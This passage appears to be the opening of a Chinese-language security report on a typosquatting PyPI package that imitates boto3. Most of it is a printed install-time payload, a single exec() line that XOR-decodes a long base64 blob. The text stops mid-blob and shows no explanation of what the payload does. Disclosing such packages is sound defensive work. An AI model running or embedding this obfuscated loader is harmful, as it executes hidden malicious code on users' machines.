【天问】日下载超过600万的PyPI包“boto3”遭模仿攻击
/ / 点击 / 阅读耗时 49 分钟boto3 恶意包代码分析
安装过程
和官方正常的boto3 包比较发现,该恶意包会额外执行以下恶意加密payload:
1 | exec(''.join(chr(c^k) for c,k in zip(base64.b64decode(b'UVtJDRZCE1wVSUZCU1hQWg8dEUcYFRkRX0tXXRhBQQlbXVwWSBZRUhUAUAQeFkBcD1QdFBEKVEVTV0peGEFBFVQ8UA8UWUFHRhAUXF5fVhsQVEBBBBVBO1NKV14UBVMSXUJQDwEWWl4WChREElJVQQdFWFkEbFxcRVdKRxQVWhRdV10LClEfExcQA0VXPD52KmR/fz41fGtwGAUTAVAAVgg8MxE7VFxLRlhGGDgWFBVCAUkCUkoVAU0Pex8UUUpRDxoZUhwBcR9GVR52ABoUBRoHcxhBVk0HcxQYA0wiB0oYBkFRVBoTAx5VVxwSBkwDVR0RBBlUdx0VCEB1cU0SVkByDk5EBktyJElGAEoBAhloEREUQVZNcnQUGANMWQBKGAZBIV0aEwMeUiIcEgZMcyMdEQQZUwwdFQhABwNNElZAcAlORAZLciJJRgBKcgAZQgFJdVNKFQFNeX4fFFFKX3saGVIcdwcfRlUeBwAaFAUacgEYa0YVERUIQHEDTRJWQHB9TkQGSwpVSUYASgQCGUIBSQdXShUBTQt+HxRRSiAPGhlSHHVwH0ZVHgMGGhQFGnAEGEFWTXQAFBgDTCcDShgGQVVVGhMDHiFeHBIGTAZTHREEGVcAHT8YGBMUUUpWDBoZUhx1BB9GVR4CARoUBRpyAhhBVk0ADRQYA0xYBEoYBkFSURoTAx5cJxwSBkwFVR0RBBlXBx0VCEALBE0SVkBzC05EBkt2JElGAEoEAxlCAUl2U0oVAU0PDR8+QRJGGAZBUl0aEwMeXVUcEgZMByEdEQQZV3QdFQhAAnZNElZAAHxORAZLBidJRgBKdwQZQgFJAVNKFQFNC3ofFFFKIg4aGVIcdAAfRlUeAgsaFAUadAIYQVZNA3MUGANMWQZKMhYZQkQGSwZVSUYASnIFGUIBSQRRShUBTX18HxRRSlQIGhlSHHBwH0ZVHnIDGhQFGgRzGEFWTQd0FBgDTCJwShgGQSAhGhMDHlZfHBIGTAEjHREEGVJ2HRUIQAYMTRJWQHV/Tm4WExNGVR50AhoUBRp0dxhBVk1wdBQYA0wncEoYBkFWVxoTAx5RIhwSBkwGUR0RBBleAB0VCEAHAU0SVkBwAE5EBksDVElGAEoBchlCAUkBUUoVAU0Lex8UUUpffhoZUhx3Cx9sRUYQEgZMAFMdEQQZJwYdFQhABwRNElZADn9ORAZLClRJRgBKD3AZQgFJB1lKFQFNfg0fFFFKJHsaGVIcdAUfRlUedHMaFAUaAwAYQVZNAAUUGANMJ3RKGAZBJFcaEwMeIVQcOBYUFUIBSXclShUBTQh7HxRRSlcLGhlSHHNwH0ZVHgV0GhQFGggGGEFWTQUBFBgDTFAFShgGQSFQGhMDHiRRHBIGTAInHREEGVVxHRUIQAUATRJWQAN9TkQGSwJfSUYASgEHGWgRERRBVk0HBRQYA0xZA0oYBkFWIhoTAx4hJRwSBkwHUB0RBBlUdB0VCEAKBE0SVkAOAU5EBksHUElGAEpzcRlCAUl2WUoVAU0JDB8UUUoifRoZUhwDdh9GVR4AcBoUBRp1cxhrRhURFQhAdgRNElZABQtORAZLACdJRgBKBnUZQgFJAFhKFQFNCA4fFFFKVAwaGVIcA3AfRlUecwAaFAUadQIYQVZNcHYUGANMVwBKGAZBW1UaEwMeXFMcEgZMcFYdEQQZUQwdPxgYExRRSiMPGhlSHHULH0ZVHgMFGhQFGgd1GEFWTQlxFBgDTCUHShgGQVYhGhMDHiRfHBIGTAMhHREEGVMDHRUIQHUATRJWQHN4TkQGSwVTSUYASgF1GUIBSXUkShUBTQgAHz5BEkYYBkEgJRoTAx5SXhwSBkwHVx0RBBlUcB0VCEACd00SVkB3D05EBktxUklGAEp1AhlCAUlxWUoVAU18fB8UUUpRDBoZUhwHdR9GVR4EcBoUBRpzdRhBVk0JdxQYA0xZc0oyFhlCRAZLBFZJRgBKBXEZQgFJdlRKFQFNDg4fFFFKUgAaGVIcBgAfRlUedgQaFAUaAXQYQVZNBwQUGANMUgdKGAZBV1MaEwMeJ18cEgZMDVQdEQQZJQQdFQhAAnBNElZAD3xObhYTE0ZVHnUDGhQFGncJGEFWTQgNFBgDTFADShgGQVRdGhMDHiFfHBIGTA0nHREEGV8BHRUIQAp2TRJWQAd8TkQGSwtRSUYASnMNGUIBSXckShUBTQ0NHxRRSlQAGhlSHHJ1H2xFRhASBkwNIR0RBBknBB0VCEALDU0SVkAGfU5EBktxIElGAEpzAhlCAUkAU0oVAU0OAB8UUUpSCRoZUhwPCh9GVR4CdhoUBRoBdxhBVk1zBRQYA0xUBkoYBkEgJhoTAx5UUBw4Hz4/C19HaxI5V15NGAUTHGsSRhgWCRpRBB8TVh1WCR4WBE1UcB0UUR5xBBkYCEsHUR5GCE4KVEgWA0snUEoQAk4HDU4RAUwjIBkRBUAMAxhBAh55BRVCVE4KdkpFVkgKBxgVUkl3B01GBUlxDxQTBBl0JBQ8GUJEFgNLUSZKEAJOcQZOEQFMUl8ZEQVAAAEYQQIeAXQVQlROAXVKRVZIdHAYFVJJCQNNRgVJBgwUEwQZCiMUFgkaUAUfE1YdUgQeFgRNIQUdFFEecXQZGAhLcVgeRghOeiBIPBMTRkVWSAcCGBVSSQZ2TUYFSQwMFBMEGQFUFBYJGiUAHxNWHSUCHhYETVACHRRRHgZ1GRgIS3EkHkYITg0hSBYDS19QShACTgR3ThEBTFVUGREFQH5yGEECHnsFFUJUTgd2Sm9GEBIWBE1SCR0UUR4HdBkYCEt1UB5GCE4PVEgWA0tUXUoQAk5wDE4RAUxTUhkRBUB6ARhBAh4PABVCVE4GcUpFVkhzBBgVUkkFDU1GBUkDfBQTBBkKJBQWCRogBx8TVh1UBR48FBVCEQFMVlQZEQVAfgsYQQIefgAVQlROBQdKRVZICgAYFVJJBwxNRgVJDAAUEwQZA1AUFgkaIAIfE1YdJwQeFgRNV3IdFFEednIZGAhLASUeRghOD1dIFgNLJFNKEAJODQdOOxEUQUYFSQN7FBMEGQVWFBYJGlAOHxNWHVMAHhYETSR1HRRRHnB1GRgIS3ZYHkYITn0jSBYDS1MgShACTgUAThEBTFVQGREFQA0EGEECHnkBFUJUTgt3SkVWSAtyGBVSSQkATWwVERUYCEsNUR5GCE59WkgWA0snJ0oQAk4EBU4RAUxZJRkRBUB6cBhBAh58BRVCVE4DckpFVkh0ARgVUkl0AE1GBUkAABQTBBkCUxQWCRomDh8TVh0kAx4WBE1WBB0UUR4FBxkyGBMUQQIefAYVQlROAXBKRVZIA3MYFVJJCXJNRgVJdnkUEwQZASAUFgkaVHAfE1YdVgIeFgRNIQAdFFEedHcZGAhLdiUeRghOCVFIFgNLVlRKEAJOBQZOEQFMWScZEQVADnEYaxJGGBYJGld3HxNWHV8BHhYETVMAHRRRHgEAGRgISwAnHkYITg9VSBYDSyImShACTnF0ThEBTFhRGREFQH4BGEECHntwFUJUTnB2SkVWSHQGGBVSSXMATUYFSXAOFBMEGQVVFDwZQkQWA0tfU0oQAk51dk4RAUxWUhkRBUAKARhBAh59ARVCVE5yd0pFVkgBAxgVUkkJAU1GBUlwChQTBBl0XxQWCRpXAR8TVh0jCB4WBE1Tch0UUR4CBBkYCEtwJx5GCE4PJ0g8ExNGRVZIBgEYFVJJdwVNRgVJBHkUEwQZBVcUFgkaVXIfE1YdVAkeFgRNIQQdFFEeDQgZGAhLAiceRghOe1VIFgNLUFdKEAJOBHBOEQFMICcZEQVACQsYQQIeenMVQlROAnFKb0YQEhYETSRyHRRRHgAHGRgISwckHkYITg0gSBYDSyVTShACTnAHThEBTFZfGREFQAoDGEECHgF3FUJUTndxSkVWSHEGGBVSSXdxTUYFSQIAFBMEGXEiFBYJGlF3HxNWHSAEHjwUFUIRAUxQIBkRBUB8dxhBAh55DhVCVE4AAEpFVkgKDhgVUkkBA01GBUl2DxQTBBkBVxQWCRomBx8TVh1XAh4WBE1TAR0UUR4ACBkYCEsGVh5GCE4BUkgWA0sjJkoQAk4Bc047ERRBRgVJAwgUEwQZB1cUFgkaU3AfE1YdJwkeFgRNUwgdFFEedwQZGAhLACAeRghOCSZIFgNLVCFKEAJOcQBOEQFMVicZEQVAAXUYQQIeAQUVQlROcApKRVZIC3UYFVJJdHJNbBURFRgIS3VRHkYITnxSSBYDS1UnShACTgBxThEBTCAjGREFQApyGEECHn4DFUJUTnEDSkVWSHEOGBVSSXR2TUYFSXd6FBMEGQElFBYJGlwFHxNWHVMDHhYETVsIHRRRHgMAGTIYExRBAh4JARVCVE4BcUpFVkgCAhgVUkkGcU1GBUl3eRQTBBkFURQWCRogAB8TVh1UBh4WBE0nAB0UUR4DCBkYCEsFVR5GCE4PUUgWA0tTUEoQAk4GBE4RAUxRJRkRBUAPdxhrG2wyUlwEREVGUTkHH0RXRRxGSws7FEFGFVdaShhaFAhcRkpXVwUBHgcaXEVsEBIWFBVCERFSDhQVWxVRVhNGAFwBXR4NS148ExNGRUYQEhYUFUIRQm8IO25baBgFE0c+UAlAbUo5DWtoWTs4bDpWU1IVC19HaxITV25XQUxWR0lBTwI8GUJEFlVcFEUPEFtYFEcDX1ZRSVIcCz8YGBMUQRJGGFBWEERcE1oIRRRRXFFRHVYYCz5BRhURFRgYExRBEkZLbVA/P1xuE1tFD15EaUdqAF5JbxI9XGxuUmVuPmtWA14WSgoNUEdsFAoRQxpFHQ9oEREUQRVuAWhjCW4YQUE9CWtiUzkaE0A9VztrA2sYFRFqAmk6V2gRCBhLaAU8aVdlGhkRPwRuaFc4ShBBbQdoOQBsGEEVbgFoYwluPkESRhhFYlI5bQFuSkUVawNrbwc/HRFHOlRoagdlFBNHOgE7YwRkQlkWQGhUOD0CbxoURjkCbG9TOxkRRmMIbm9Tb0oYRWJTOW0BbmxFRhASRW8FP2oCaU1GRmoEZWMAaU0SFWMEZDlXax8TFT5VbWkFaRVfEUJvUjtuAmgUGEBvUW89C2sVQhdtAm49VjscEkVvBz9qAmlrbFFUUxhRXUI+QQ5RUE09FllEQE4WTwo4FhQVQkJqBDw9BGwZGEtoBTxpV2UaGRE/BG5oVzhKEEFtB2g5AGwUXEZGagZlYwJpTRIVYwZkOVVrHxMVPldtaQdpGUJCagY8PQRsPxgYExQSaVZlbQs/SBZAaFc4PQJvGhRGOQNsb1M7GRFGYwtub1NvRgUWSjlWa2gBO0lGQ2kFaW5QbB0UEj0FbG4KZR8UEmlXZW0LP24WExNGFj0Ab20HaE4RQm9QO24CaBQYQG9Tbz0LaxVCF20Abj1WOxAPFkduU2xqBzxKFUJuCmVoBzweRkttCj8/BW4fRhY9AG9tB2hoO1VRB0ZUVVFnSlxBD1Y5U1NAShcaE1hPX2wQEhYUUw1DEV1BD1sRR1lWVFFJBk8CPBlCRBYTE0ZFAF9AFl4VC18RRgAIUlQdDBEJPkESRhgWGUJEFhMTRhY9WW9tXmhCbwwUCj1cbG5SZTk+GUYPVVMZX0RaUl4EAQcQUwwUHUoZUBRdWhUAHBhmEwQZAyQRFh9CVE51dU9FD1YSHlUVRBEBTFlWHBFQVEtWFElTRgQKGVNNPDlXAwNGXVtOa0YLX1ZYBDlWXllNVV0cABtcMhYZQkRCEw5GBD0AbxZqFQNqAGlBOBVQbgplE2pBUz0LazNCRBYTRkZYRlFpBmk/QhERFAA9BWwVZgUTQEFsRkBCUA8BHlJoVjhGbhJXbwQ/GDsUQUYVUG4JZRNqXBISGGgZGhBfXlZOBD0BbxZqFQNqA2lIbBURFRhZaAY8EjgFFk1COhZLRw8IAxhTbQZoQm8RVTpVaBg/GBgTFABpVWUWZ19EQhNtRh0SWV9THFQ5AmwUP0ZAGD8yXFZSQV8PQGlaDQhDXl0VTRUZCDwUFUIRV1sTRlwRXFYYQVUPVQMQAhBYRFtaSzkWD15VWlFqAV5dQQwIHUJuUWUaPmtWA14WUAwSaV5aHjoFX15DWVsRGUIdW2wVERUYXlxGQVtGUVgZEAVYVFZOUU8KOBYUFUIRERRBExUMFUBMWlkEGh5MX1QHTEVoWjs+Vm0SaBRGOVhsb1M7HBg/GBgTFEESRhhAGV9ETkdaCwBOSEZfWVBKQmpdPD0EbBVmGEBvCG89C2sQS24WExNGRUYQEkVvXD9qAWlBOAgRQDIYExRBEkYYFko5DWtoAjtFOA0SQD4VQhERFEFGFUJuUWVoBjwSOAUWTGhEFhMTRkVGEEFtXWg5AmwUP1sVRz8yGBMUQV8PQGlaDQhDXl0VTRUZODxGagFeXxRcRh07FRgYEwQZAlYUFgkaVAcfE1YdVgIeFgRNUgUdFFEeBQkZGAhLBVEeRghOC1JIFgNLUlVKOhIWFBVSSQkETUYFSQR6FBMEGQFQFBYJGlJ1HxNWHSIIHhYETSNzHRRRHgF1GRgISw0gHmwYFhlCVE4BdUpFVkgHcxgVUklzd01GBUkDCxQTBBlxUBQWCRpdAR8TVh1VBR4WBE1UcB0+QUYVEQVAfAcYQQIeegUVQlROBHdKRVZIdHcYFVJJdHJNRgVJdg0UEwQZC1cUFgkaVw8fOU9vbFRXUBRXG0VUR1MLVEVHUUAbQARKEhEMM0JEFhNBAxETQlwWb1kLQkUcFQNNRW5RAlofVW9PGFBWEERfE1oIRRRRXFFRHVIdEVgECB1FUEBMGhhBBk9lPDMGAVATXgcRFFlKBFZMFlRCHAwHQUNcQBEJPkESRhhEXBYRRF0TBBwSVUEeR0APGVxVFRRcSRkYY24dSDhsXFNfQhxZQWwEHBJVQR5VGUJTGA5rRhURFUpdR0ETXEZaT00HFx5abQxFAF9AFl0ZQlsRXQ9GT1hFEFkfFAMbTzI8XQcCFlpdBToESUZTRx0DGAs+QUYVEVpNTBMJQV4PS0IRA008ExNGRQBfQBZdFQtfEUYEEFBDRl1cG0YAXAFdHlUHCh5cRhJMTxkIPBQVQhERFEFGXFcVV01HbwhvRgULGVIccHUJbEVGEBIWFBVCEREUQQlARW5RZRMJQQJsGBYZQkQWExMDCRVVCDwUFUIRERRBRhURFRhXRkA6WzsYHQRCVTwTE0ZFRhASFhQVQhFTRgQHXjsVGBgTRgRGE0pYGQAdQlZATgoTRBs8PlEHVxFEAAIdQVlZUV1ABEoSEQwzQkQWE0MHAQJZXFFrWQdfEQlBVwMRGBgQX1EPGhZUV1AMEFNLR09FQxADAB0/QhERFBEHUVVcVl8TCUFQH0xTSko/RlJXAgwIV21aUVs/ERsUEQdRVVxWX2xYBFxPMhYZQkREVkcTFwgQQlpVXAxFVEwVRh4RRVlcV10PVWwyUlwERENdQwcBTkBeV11bFlRJQEhcPxEVGBhDVQVWD1ZRZg4BWBMORhUKUVtYQFAaRWoZUDs/ERUYGFJHElcUTBZJAwBSWl0BOgpVXBYKFVI7ERRBRlhURktZVFFNEhZZUl0LClETDkYVClFbWEBQGkVqDkwWVFVRUVZUaw1XCGUaGRIIV1pdEgAeRGkbRFQGVVhaBjlZVFsCZTkUQRJGWUVKBxZCE1IKCU5AEgsJFRJQVVAICFJuWV1WE1IOQEZIFlAMREZSVwIMCFcbPBQVQhFDURUTR18VVV1ARwBVAzI8XQcCFkBDCgwSb1BaW1YJQhlZBBVGUFJdFBNWDV0FU2lKCx5TDgJQSUZCV0dBXBBUbkQAAlFYW18FZ0YUV08CPBlCRBYTE0ZFB0NBU0ZBQl1UWkkLUEJGWV9WHUEXRlpaVgEPaUBaHABGDQ8WBBUNQxFaDhIVQ1BJTVpGBG0WWVJdCwpRORNGRUYQEhYURwdFREYPRm5cUEtLUlMEaQ8CXxJTUmsTVQkXRlkSX1oVEFBfUwROBR0VVF1dHAxXFUtXXgdNGhNRCgoFW21FXU8HGGw+awVZUEZLGHJxMghsGBYZQhZZRl0CFjlSS2lfUBtuQl0bAxUMFUMJBQ5BA1YUFgtWXhYCAUpFVQIIFgUBHzsRFEFGUVRTGGdsXQ9bEmdpEREBWlUfRggHQ0ZTRmoJVEgdW2wVERUYGBMUQVMVS1NLFkRaVl1OCAdDRlNGaglUSB1BD1sRdH1rHUYORwhcRWYAHWlYVh86FVlIUz4VQhERFEFGFUJQVF4dWj5ACU1YXRFECxNyIzZIQl1DWlERblNNPg1QSGpLUUlROl4DVh5UAxdCVkE5DgNJG2s+FUIRERRBRhVCUFReHWsKVx9nW1gWFl9QVhVFWxBBU1hTTG5UTBEHW1VqU11KHAxTFUxTSz0PU0oabG9GEBIWUFAEEW5RGRZUX1FnU1ZNSUEDVFAVQglXQEcDFzlbV08dD2gRERRBRhURFVNdSmsCXQpNW1cRRAsTUR8RA0MAW1VBEFhJHAwHRkVQSmdYURgbbBgWGUJEFhMTDxEDQlNCXVoMbkJdGwMVDBVUXV0cDFMVTFNLPQ9TShpGSkkQBjwUFUIRERRBRlZeWU1VXUc+QgNKaVAWAURSRw8KCBAPFlhQDBlaURg5Vl5ZTVVdR0g4RhgWGUJEFhNaRlhGATgWFBVCEREUQRFdWFldGF9RDxoNXU9mAQtaRl4IFk8QDhYcRgddVxoPOUdeQFZcQBRKElcRFhNCUAw5E0ZFRhASFhQVQhERQw4UUREIGFRaRxUaDV1PZgELWkZeCBY9HQNrHT9CEREUQUYVERUYGBNdBxIKXVgRCQFPbFAJCRNdXEUdFUcRWEAEFFRFXFdWbEcISAMYCwRCVAw5E0ZFRhASFhQVQhERFEFGFUZaSlwdVRFCA1ZSERULRFcdFgoWGAIfHT9CEREUQUYVERUYGBMUQRJGT1lLBkQLE2gVOgRfSm1WaEJXXkZBBBVYWxhPXEYFb2wYFhlCRBYTE0ZFRhASFhQVFV5DUDpWaBFrBRhBawJdCGNfZGhEFhMTRkVGEBIWFBVCEREUCEYeDBUJMhMUQRJGGBYZQkQWE1YKDAAQXlNaHQ9QQkAEFGpaUEEREwlcElUKFlgMABZfVghNDVVLaVdaDkRcWhJPFRQVUUxWRgBGD1dYZhENTFYTW1hGBAg8FBVCEREUQUYVERUYGBMUQUUJSlIZX0RtQGwECh5rUGsUUw1DEVZBD1sRQldKV2lrOEYYFhlCRBYTE0ZFRkddRFAVXxFJWxM5V0hBXUsbQw5AAhQWUgcdaVBcChALXkFtGVwWVENVFQ9aX2pLUUlRPBtsGBYZQkQWExNGRUYQWVNNagFeXUEMCEYfVEhIVloFGhFXRF1LbhYTE0ZFRhASRFFBF0NfFDoNUEhqW1dfQQxcFWMCEwtEDBMHTE0PGwMfaRUEXkMUCEZcXxVKWV1TBBoKXVgRCQFPbFAJCRNdXEUdFU0eEQBIOz87FRgYE1AEVEZdWFoQHUZHbAQJCVNZHkdQDlcdFBEKVFhbTF1LQEgIbBgWGUJEFhMTBxYVVUBCFFkHXxlEDQdcX0FdQEcdQQ9bGAcPaEQWExNGRUYQQlpVXAxuQkAAElARCBhaSkAEQVRVV00QDU4bQwoED15GU0xBSzsRFEFGFREVGFlXUD5ACU1YXT0PU0obFgkHWVxpR0EDRVQYQRVQXVMWZ1hRGG0LWUJLCwdTQGhWOE86EhYUFUIRERQHCUcRXBhRXRQTUwhfUxFTSBZAVgoDSF5tRFtADFVCHVtsFREVGBgTFEESRhgWShcGaVFKEgAVGEJaVVwMbkJAABJQGD8YGBMUQRJGGBYZQkRFW1oAETlCXUFHHRJdUF0POUZFVExdGj5BEkYYFhlCRBYTE0YID0htVVtZF1xfR0kWWVBcVmdAQABGAxE8GUJEFhMTRkVGEBIWVVEGbkNbFAhRbl5dQRtEDVMPVmlKFgVCVh9GFgNcVBhrXgdIblkAEkdYVl1LaF08G2wYFhlCRBYTExUQBG9QT0BQERlBWAAPW25GTFlHUUg4RhgWGUJEFhNADgwARG1EW0IRGUFYAA9bbkZMWUdRSDhGGBYZQkQWE1ICATlCXUNaUT1aVE1JFllQXFZnQEAARgMUFkoHCFAdbA0AH29fV0BHC1JURzpLBGwcMjITFEESRhgWGRABQkZBCEULUUZEXU1QU0hABBUdQVlZUV1rEkYHTFMQaG4WExNGAQNWElJRVhBIQUA+BFleVlMQQFENVEoYVVASDFNBRwMdEhkIPBQVQhERFEFGVEJGXUpHFA1XCBBVUBIMU0FHAx0SGRILCRVTBzsUQUYVERUYGFBdEVoDSmlKFgVCVhNbRQRJRlNHBw9QRUYIHh1SXEhQVkYVVx5MHzNCRBYTE0ZFRlFWUmtHDURfUD4NUEgdW1FDXARAOUtCWBYBGhNAAwkAHm1dUUw9XFBAEw9WVEZjFQJpSDhGGBYZQkQWE1oIEzlDWl9SQT1DXkMSTlZYRVBdQWsSRgdMUxBoRBYTE0ZFRhBbWEJqEURTawMfQVRGEFtaRAlXFGdFTQMQUxo5bEVGEBIWFBVCV15GQQ8VWFsYSlJaBldOS1NVBEpYbEEJEAhUQRYZFVMdEQRNRhgAHAIyExRBEkYYFhlCRBYTUgIBOUJdQ1pRPVpUTUkFXEFdXUpsRxVTEl0aGREBWlUdOQ4DSW1bVUEQWFJREj1cbBwyGBMUQRJGGBYZQkQWWl0QOgtZSmlXWg5EXFoSTlZYRVBdQWsSRgdMUxBoRBYTE0ZFRhASFhQVC19HaxIOXFdBZ0pcQxIaBVFGUQcWaUBHBxEDGTgWFBVCEREUQUYVERVRVkVrEkcEZ1RAFgFFG1APFQ5VQGlHQQNFVB1rRhURFRgYExQAVgJnRFYXClJsWAMcTlNbRlxQEG5CQAASUB0VS11fUk9tDV1PZg8FQkFaBQAVawJrHT9CEREUQUYVEUddTEZGDxILWUJLCxwEUUoSABUYUV9EXQdDbkcVB0FUHDIyExRBEgJdUBkHClVBShYROVNQVRxGB11XGEEWWVBcVkxWTBUeRlFAEFhuFhMTRkVGEBJXR0YHQ0UUDQNbGVxOERMJXBJXDjwZQkQWExNGRRZcU19aQQdJRRRcRkVQURBIX1UIXBJdTk1LbhYTE0ZFRhASVFhaAVpCFFxGbmw/GBgTFEESRhhGSwcSX1xGFUVbEFtAPhVCEREUQUYVV1pKGENYAFsITFNBFjtUX1wFDkZZXBZHRQ5YRWsDClpSXksQQ1gAWwhMU0EWTQw5E0ZFRhASFhQVQhERVg0JVloVBRhAUQ1USF1YWhAdRkdsBAkJU1keTFoQblNNFQNGGUVUWVpaFVceTGlbDgtVWB9GFRRVRF9bQBEYGD5BRhURFRgYExRBEkZaWlYBD0UdUhYVA15WHlZZDVJaHWtGFREVGBgTFEESRhhGSwcSX1xGFUVbEFBaW1YJOxEUQUYVERUYSlZAFEAIGFQeRUpcXFoITQRcXVVfRks7OxRBRhVVUF4YV1ECQB9IQmYBBlUbQAMJABwSVV1FClRDQAQeQR0VUU4aDmsSRhgWGUJEFlJAFQAURBJaUVtKWEcdQVsIEQQOMhMUQRJGGBYZAAhZUFgVRVsQaWs+FUIRERRBRhVBR11OWlsUQUYFFlAUbhYTE0ZFRhASUFtHQlJYRAkDR0VQQExsVg1dBVMWUAxERUNfDxE5Ul5ZV14RGVJdEQ5QQ0FdQEcdWzhGGBYZQkQWExNGRUZSXllXXhEfUEQRA1tVHUBXQWsDSxJdRRESFlNFWgkQFRwSRVFZBB9VUQIUTEFBZ1pfWwJZTltfSQoBREdWHhE5Ul5ZV15LGBg+QUYVERUYGBMUQRJGSERcFA1ZRkBGWEZTW0ZcUBBFVEwVOVddWltTORRBEkYYFhlCFlNHRhQLRkVcRlVRSlMWE08MWlhbEFpfWwJZFREfM2huVV9SFRZGXVdSQUYDCzsUQUYVVVBeGFZaAkAfSEIREQFaVR9GAQdEUx8OP0IRERRBRhURU0pXXhQJXwdbFlAPFFlBR0YLA0c4FhQVQhERFEEPUxFGXVRVGgBVA1ZCZgELWFVaAT5EVVxVa14HSBNpOkRDUFlNXRFpQQ9bGBRYBxcEBgU5DQtRURQUVAxVEVgECB1VVExZGgpRCGwYFhlCRBYTE0ZFRhBZU00VXxFTVRIDAwUbWg4HUARRCVxTEREBWlUdBwIDXkZpV1oMV1hTOkRQX1ZnU1ZNQ289GlNXATtdVkpEOE86EhYUFUIRERRBRhURXE4YDhQOQUhNRFgMAFleG1dTTzoSFhQVQhERFEFGFRFWUUhbURNGA0BCGV9Ed3ZgTg4DSRsYUVsBQ0hEFTlWU1YQXFJAAB5GUUAQaEQWExNGRUYQEhYUFQpcUFdBWxVfUE8QWFEYHkZRQBlJRFVaQw4AFERXTkAZQhZCXABUAAcSERZXXQZXFUweEGhEFhMTRkVGEBIWFBUQVEVBEwgVWEMYExNXCEIOXURNBxxCExhGDQtRUTwUFUIRERRBRlBdRl0CORRBEkYYFhlCRBYTExQAEkVAWBRRA0VQPmtGFREVXF1VFAVXBUpPSRZMRVZfAElGVFNCVRxYOxEUQUYVERUYXkFbDBIOVVdaQg1bQ1wUEUZeV0EYFQFeXEQAFFBuUVFfVkcVOGwYFhlCRBYTEw8DRkNXWlIbA1ZUWhU5Vl5bXlFUb0NXCFtpUgcdFG5oRBMHXEdTFmhCDAwUQwdQQgcNDmxcDFMFGgwzQkQWExNGRUYQEhYUXAQRXVEPTlFQQVkRDQRbOEYYFhlCRBYTE0ZFRhASFhReB0gRCUEEVEJQDgwdVlcGAl1VVgYBHkBWCgNIUVVTWkE9Ul5aBw9SahddVlBrClcfGmtiQABTUGwNAB8Sbx8+FUIRERRBRhURFRgYExRBEhNNX11CWRZXUhIEPQoBAGk/QhERFEFGFREVGBgTFEESRlFAGV9EUlJHBz5VBggDBmhoEREUQUYVERUYGBMUQRJGGFVNQlkWV1ISBD0FAAwZBlBsOxRBRhURFRgYExRBEkYYFhkQAVVWWhAAAm9aW1VWQgwRUAASVGoYCwoJaWsSRhgWGUJEFhMTRkVGEBIWXFgDUhEJQQhQRh1TXUoYQVsQGB0ZARAaExQVDQcCBwATHExVWFMEFUEZHDIYExRBEkYYFhlCRBYTE0ZFD1YSVVtYElBDUT4CXFZQS0wbXAxTBRQWSwcHU1pFAwE5WF9XVxxYOxEUQUYVERUYGBMUQRJGGBYZQkQWQVYSEBReEh5BQAtVER9BJ3BiHVNdSh1PVgNbREASEGlQUQVNBUQeFl1DSxgfUAQFWlVQEBE5FEESRhgWGUJEFhMTRkVGEFdaR1BYEUNRFRNHXxUaGjkUQRJGGBYZQkQWExMDCRVVCBZGUBZEQ1pBRBc7FRgYExRBEkZdWkoHXhZBVhIQFF4SUlVBAx9VUQIJUVQdETI5PkESRhhSXAREUVZHKTYwVUBFXVoMGUJRDQAcCz8YGBMUQRJGGF9fQhRaUkcAChRdHFtVVj1HVEZJT24BaAIYQVEVRxRWFhsPBVV8YEZHTUBeV0BTDUNcGgwHVm5DXUobHToCOzIWGUJEFhMTRgAKQ1cMFEcHRURGD0ZFXVRMXlxGDBwVQUVNBwkeGhNNRUQQEBYfFRJdUEAHCUdcG0pdX1EAQQMQHzNoRBYTEwIAABBVU0BgEVRDWgALUBlGXVRVHVs4RhgWGUJEFhNHFBxcEEBTQEAQXxFbEkhSVEFUV1RdDxpPGDwZQkQWExNGRQNIUVNEQVgRQVUSFT8RFRgYExRBEgBXRBkJRF9dEz1FRGVhc2YXThETeC4he3B4fRofFENnNX1kdyMpcxETO19GOhIWFBVCEREUQUYVEVxeGFgUCFxGV0UXBwpAWkEJC0hbV09HHUsLEUYEEkBDWxhXQBoEXBBRRFYMP11uOWxFRhASUlFTQldeRgwHQXxQS0tSUwQaFV1aX05EUlJHB0xcOhIWFBVCEREUEwNBREdWGFFVEldQDBhbVFBTXVAJAQMYQVNYU0xQVlEPEmpSWlZeWlM6EDNtf31AORhWXQUKAlUaHxQeQkJUWAdIUF9WSkFDQElYFVdYFwYRW0NATgEHRFMfGlAMUl5QBE4cGBwyMhMUQRICXVAZBAtEXlISNwNDQllaRgcZQlENABkRUVlMUh1bOEYYFhlCRBYTQQMRE0JcFl5GDV8fWA4HUUIdXFlHVU9AA0haWAEBHkBWCgNIUVVTWkE9Ul5aBw9SahdtbXpwQ29KGhQQS248ExNGRQJVVBZEWhFFfFESFVRWUHlWV2YERhRRU08HNlNAQwkLFVUaRVFZBB0RUAASVBgPMhgTFEESRhgWSwcQQ0FdRhYDXFQYUloQXFBAMwNGQVpWS1YcElcKXhhdBwdESkMSTRVVXlAaWANaVGYEF0BURkwQQFENVEheWUsPBUJ+VhUWB1dXHlBUFlAYGEY2emJhHxEaHWs4RhgWGQYBUBNUAxErVUFFVVIHcF9QMwNBQ1xdTlZmBEEWV1hKB0xFVl8ASUZUU0JVHFg7ERRBRhURFRhKVkAUQAgYRVwOAhhVXBQIB0RgU0dFDV9CUUkVUF1TFlxWVxNLFkweSgcIUB1eBw4DYldHQVARRRlHBApTH1NXSl5VFX8DS0VYBQEeV1ISBE8ZGx8+P0IRERQFA1MRRl1WV2AAQQ13Q00SEUJmQwIEElUaRVFZBB0RQAAVXm5cXBQTWxRGFk1CEFhuFhMTRkVGEBJEUUYSXl9HBBUVDBVjQxMWFVMVU2lQBkYME0cHFg1vW1IYFUBEQlETOVpEQUhNRxZbEglNQkkXEBoTEQUKC0BeU0BQBhMLFCcHWUJQGEVuPkESRhgWGUJEW1ZAFQQBVRILFE5CE1BXFQ9aXxcCGBFEDkESZ0RcERRZXUADR0oQEERRRhJeX0cEFRcLFUpdQEQOXBVdRRkfbhYTE0ZFRhASRFFGEl5fRwQ5UVBBWRgOFBJXCl4YSQ0XQn5WFRYHV1d3WlEwVEVGCANDVGddS0NbD0EDEFtcERdXVFZPb2wQEhYUUQdXEUQOFUFjUEtIXFoSVxUQRVwOAh8JOUZFRhASFhQVFkNIDmtGFREVGBgTFEESRhhEXBEUWV1AAxZGDRJFW1YJQhEJQT1oOxUYGBMUQRJGGBYZQhBXQFgPCwFDEgsURgddVxoVB0ZaXFZfQD5BEkYYFhlCRBYTE0YDCUISQlVGCRFYWkESVEJeUVZUR1s4RhgWGUJEFhMTRkVGEBIWFFwEEUVVEg1uE1ZXVUNYBEYDXBRkQlkLE2cUEAMKOBYUFUIRERRBRhURFRgYExRBEkYYWUwWRAsTSEZHElFBXWtcBhM